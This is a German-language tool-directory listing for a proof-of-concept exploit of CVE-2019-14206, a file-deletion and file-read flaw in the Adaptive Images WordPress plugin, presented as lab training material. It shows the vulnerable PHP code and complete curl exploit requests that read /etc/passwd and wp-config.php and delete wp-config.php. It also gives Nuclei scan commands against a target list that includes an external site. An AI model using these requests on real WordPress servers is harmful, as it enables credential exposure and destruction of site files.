Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2019-14206-poc — Proof-of-Concept-Exploit für CVE-2019-14206, der die Löschung beliebiger Dateien im Adaptive Images WordPress-Plugin demonstriert. Enthält Docker-Labor, Nuclei-Vorlage und manuelle Testskripte für Sicherheitsschulung und Validierung. | Kitploit
Tools/GitHubGitHub/developerfred/cve-2019-14206-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

Proof-of-Concept-Exploit für CVE-2019-14206, der die Löschung beliebiger Dateien im Adaptive Images WordPress-Plugin demonstriert. Enthält Docker-Labor, Nuclei-Vorlage und manuelle Testskripte für Sicherheitsschulung und Validierung.

Repository anzeigen
5vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-14206 - Adaptive Images for WordPress Arbitrary File Deletion

📋 Inhaltsverzeichnis

  1. Über die Schwachstelle
  2. Voraussetzungen
  3. Installation
  4. Testmethoden
    • Schnelltest
    • Vollständiger Test mit Docker
    • Test mit Nuclei
    • Manueller Test
  5. Ergebnisse interpretieren
  6. Bereinigung
  7. Fehlerbehebung
  8. Mitigation
  9. Rechtlicher Hinweis

🎯 Über die Schwachstelle

CVE-ID: CVE-2019-14206
Severity: Hoch (CVSS 6.5)
Betroffenes Plugin: Adaptive Images for WordPress
Betroffene Versionen: < 0.6.67

Was ermöglicht diese Schwachstelle?

Diese Schwachstelle ermöglicht es einem entfernten, nicht authentifizierten Angreifer, beliebige Dateien auf dem WordPress-Server zu löschen, indem er das Plugin Adaptive Images ausnutzt.

Reale Auswirkungen:

  • ❌ Löschung von wp-config.php, was einen vollständigen Ausfall der Website verursacht
  • ❌ Offenlegung von Datenbank-Anmeldedaten über LFI
  • ⚠️ Angriffskette, die zu RCE (Remote Code Execution) führt
  • 🔴 Vollständige Kompromittierung der WordPress-Website

Grundursache:

// O plugin usa input do usuário SEM sanitização
$settings = $_REQUEST['adaptive-images-settings'];

// Constrói caminho de arquivo com parâmetros controlados pelo atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// DELETA arquivo arbitrário
unlink($cache_file);

💻 Voraussetzungen

Mindestanforderungen:

  • Betriebssystem: macOS, Linux oder Windows
  • Nuclei: Version 3.0 oder höher (Installieren)
  • Bash: Version 4.0 oder höher
  • curl: Für manuelle Tests
  • PHP: Version 7.0+ (optional, für Tests mit integriertem Server)

Voraussetzungen überprüfen:

# Verificar Nuclei
nuclei --version

# Verificar Bash
bash --version

# Verificar curl
curl --version

# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP não disponível (opcional)"

🚀 Installation

Schritt 1: Dateien klonen oder herunterladen

# Se estiver no diretório nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Ou baixe os arquivos necessários
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Schritt 2: Dateistruktur überprüfen

# Verificar se os arquivos existem
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Schritt 3: Skripte ausführbar machen

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Testmethoden

1. Schnelltest ⏱️ 2 Minuten

Führen Sie die vollständige Demonstration aus, die den gesamten Exploit simuliert:

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

Was passiert:

  • Erstellt eine vollständige Testumgebung
  • Simuliert die Schwachstelle
  • Demonstriert die Dateilöschung
  • Validiert das Nuclei-Template

Erwartete Ausgabe:

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Vollständiger Test mit Docker 🐳 10 Minuten

Schritt 1: Docker-Umgebung starten

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Se Docker estiver rodando
docker-compose up -d

# Se Docker NÃO estiver rodando, use o simulador
./docker-test-full.sh

Schritt 2: WordPress aufrufen

# O ambiente estará disponível em
# http://localhost:8888

Schritt 3: Verwundbares Plugin überprüfen

# Verificar se o script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Schritt 4: Tests ausführen

# Teste LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Teste File Deletion
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Test mit Nuclei 🎯 5 Minuten

Schritt 1: Zielliste vorbereiten

# Criar arquivo de alvos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Schritt 2: Scan ausführen

# Scan básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Scan detalhado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Scan com debug (OBRIGATÓRIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Salvar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Schritt 3: Ergebnisse interpretieren

# Ver resultados
cat results.txt

# Resultados positivos terão:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Manueller Test 🔧 10 Minuten

Schritt 1: PHP-Server starten

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Schritt 2: LFI testen (Dateilesen)

# Tentar ler /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Tentar ler wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Erwartetes Ergebnis (LFI):

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Schritt 3: Dateilöschung testen

# Verificar se wp-config.php existe ANTES
ls -la wp-config.php

# Executar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar se wp-config.php foi deletado DEPOIS
ls -la wp-config.php

Erwartetes Ergebnis (Dateilöschung):

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Ergebnisse interpretieren

Positives Ergebnis (verwundbar):

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Negatives Ergebnis (nicht verwundbar):

[N/A] No results found

Mögliche Gründe für falsch-negative Ergebnisse:

Tool herunterladen